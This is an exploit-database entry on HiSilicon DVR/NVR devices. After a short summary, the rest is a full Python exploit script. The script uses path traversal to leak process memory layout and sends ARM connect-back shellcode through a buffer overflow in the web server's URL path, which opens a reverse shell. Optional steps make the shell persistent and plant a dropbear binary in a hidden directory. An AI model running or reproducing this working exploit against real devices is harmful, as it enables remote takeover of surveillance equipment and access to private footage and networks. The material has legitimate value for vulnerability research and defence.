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HiSilicon Multiple Vulnerabilities

🗓️ 31 Jan 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 643 Views

Serious vulnerabilities in HiSilicon DVR/NVR devices lead to unauthorized remote code execution and full device takeover via web interface. Lack of firmware updates. Vendor unresponsive since Dec 2016. Explored device security, obtained firmware, and conducted service scanning.

Code

                                                #!/usr/bin/env python2

from pwn import *
from time import sleep
import re
import argparse
import os

parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
parser.add_argument('--rhost', help='target host', required=True)
parser.add_argument('--rport', help='target port', default=80)
parser.add_argument('--lhost', help='connectback ip', required=True)
parser.add_argument('--lport', help='connectback port', default=31337)
parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
parser.add_argument('--bport', help='listen port to bind (default: connectback)')
parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
parser.add_argument('-i', '--interactive', help='select stack memory region interactievly (rather than using autodetection)', action='store_true')
parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')

args = parser.parse_args()

target_host = args.rhost
target_port = int(args.rport)

sofia_cmdline = args.cmdline

if args.interactive:
    getleak_interactive = True
else:
    getleak_interactive = False

if args.persistent:
    shell_persistent = True
else:
    shell_persistent = False

if args.upload:
    shell_upload = True
else:
    shell_upload = False
    
connectback_host = args.lhost
connectback_port = int(args.lport)

if args.bhost:
    listen_host = args.bhost
else:
    listen_host = connectback_host
if args.bport:
    listen_port = int(args.bport)
else:
    listen_port = connectback_port

# get pid of running dvr binary '/var/Sofia'
def findpid():
    with log.progress('getting pidlist') as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc HTTP')
        pids = []
        for line in r.recvall().splitlines():
            res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
            if res:
                pids.append(int(res.group(1)))
        r.close()
        context.log_level = c
        logp.success('found %d processes' % len(pids))

    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
        pid_sofia = None
        pids.sort(reverse=True)
        for pid in pids:
            logp.status(str(pid))
            c = context.log_level
            context.log_level = 'error'
            r = remote(target_host, target_port)
            r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
            resp = r.recvall().splitlines()
            r.close()
            context.log_level = c
            if sofia_cmdline + '\x00' == resp[-1]:
                pid_sofia = pid
                logp.success(str(pid_sofia))
                break
        if not pid_sofia:
            logp.failure('did not found')

    return pid_sofia

def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
        if "Hardware" in l:
            modelnumber = l.split(":")[1].split('"')[1]
    r.close()
    context.log_level = c
    return modelnumber

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

# getting stack section base address
# 'k' defines the section which contains the stack
def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc/%d/smaps HTTP' % pid)
        smaps = []
        memStart = False
        for line in r.recvall().splitlines():
            if memStart:
                t += (int(line.split()[1]),)
                i += 1
                #if i >= 14:
                if i >= 7:
                    smaps.append((memStart, t))
                    memStart = False
            if 'rwxp' in line:
                memStart = int(line.split('-')[0], 16)
                i = 0
                t = ()
        guess = guessregion(smaps)
        if guess < 0 or interactive:
            j = 0
            for i in smaps:
                print (j, hex(i[0]), i[1:])
                j += 1
            k = int(raw_input('enter stack region id (guessed value = %d): ' % guess))
        else:
            k = guess
        leak = smaps[k][0]
        r.close()
        context.log_level = c
        logp.success(hex(leak))
    return leak

# connectback shellcode
# badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26
def shellcode(lhost, lport):
    badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]
    badchars = map(chr, badchars)

    xscode  = "01108fe211ff"
    xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223"
    xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4"
    xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858"
    xscode += "ffffc046efbeadde"
    
    h = lambda x: hex(int(x))[2:]
    h2 = lambda x: h(x).zfill(2)
    xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:]
    xscode = xscode.decode('hex')
    for badchar in badchars:
        if badchar in xscode:
            raise NameError('badchar %s in shellcode!' % hex(ord(badchar)))
    return xscode

def restart_dvrapp(c):
    with log.progress('restarting dvr application') as logp:
        logp.status('looking up dvrhelper process')
        c.sendline('ps')
        cmdline = ''
        while not 'dvrHelper' in cmdline:
            cmdline = c.recvline()
        cmdline = cmdline.split()
        while not 'ps' in c.recvline():
            pass
        sleep(1)
        logp.status('killing dvrhelper')
        c.sendline('kill %s' % cmdline[0])
        sleep(1)
        cmdline_dvrhelper = ' '.join(cmdline[4:])
        logp.status('starting dvrhelper: %s' % cmdline_dvrhelper)
        c.sendline(cmdline_dvrhelper + ' 2>/dev/null &')
        sleep(1)
        c.recvuntil(sofia_cmdline)
        c.recvline()

def upload_tools(c):
    with log.progress('uploading tools to /var/.tools') as logp:
        logp.status('creating dir')
        c.sendline('rm -fr /var/.tools')
        sleep(1)
        c.sendline('mkdir /var/.tools')
        sleep(1)
        tools = ['dropbear']
        upload_blocksize = 1024
        for tool in tools:
            toolsize = os.path.getsize('./tools/%s' % tool)
            b = 0
            fp = open("./tools/%s" % tool, "rb")
            for chunk in iter(lambda: fp.read(upload_blocksize), ''):
                chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])
                c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool))
                b += len(chunk)
                logp.status('%s: %d/%d' % (tool, b, toolsize))
                sleep(0.1)
            fp.close()
            c.sendline('chmod +x /var/.tools/%s' % tool)
            sleep(1)
        logp.success(' '.join(tools))
        
log.info('target is %s:%d' % (target_host, target_port))

if not args.nolisten:
    log.info('connectback on %s:%d' % (listen_host, listen_port))

with log.progress("assembling shellcode") as logp:
    xscode = shellcode(connectback_host, connectback_port)
    logp.success("done. length is %d bytes" % len(xscode))

with log.progress("identifying model number") as logp:
    modelnumber = getmodelnumber()
    logp.success(modelnumber)
    
log.info('exploiting dir path traversal of web service to get leak addresses')
stack_section_base = getleak(findpid(), getleak_interactive)
stack_offset = args.offset
stack_20 = stack_section_base + stack_offset + 20

log.info('shellcode address is ' + hex(stack_20))

payload  = "GET "
payload += xscode
payload += "a" * (299 - len(xscode))
payload += p32(stack_20)
payload += " HTTP"

log.info('exploiting buffer overflow in web service url path')
log.info('remote shell should gained by connectback shellcode!')

if not args.nolisten:
    l = listen(bindaddr=listen_host, port=listen_port, timeout=5)
    c = l.wait_for_connection()

r = remote(target_host, target_port)
r.sendline(payload)
r.recvall(timeout=5)
r.close()

if not args.nolisten:
    if shell_persistent:
        restart_dvrapp(c)

    if shell_upload:
        upload_tools(c)
    
    c.interactive()
                              

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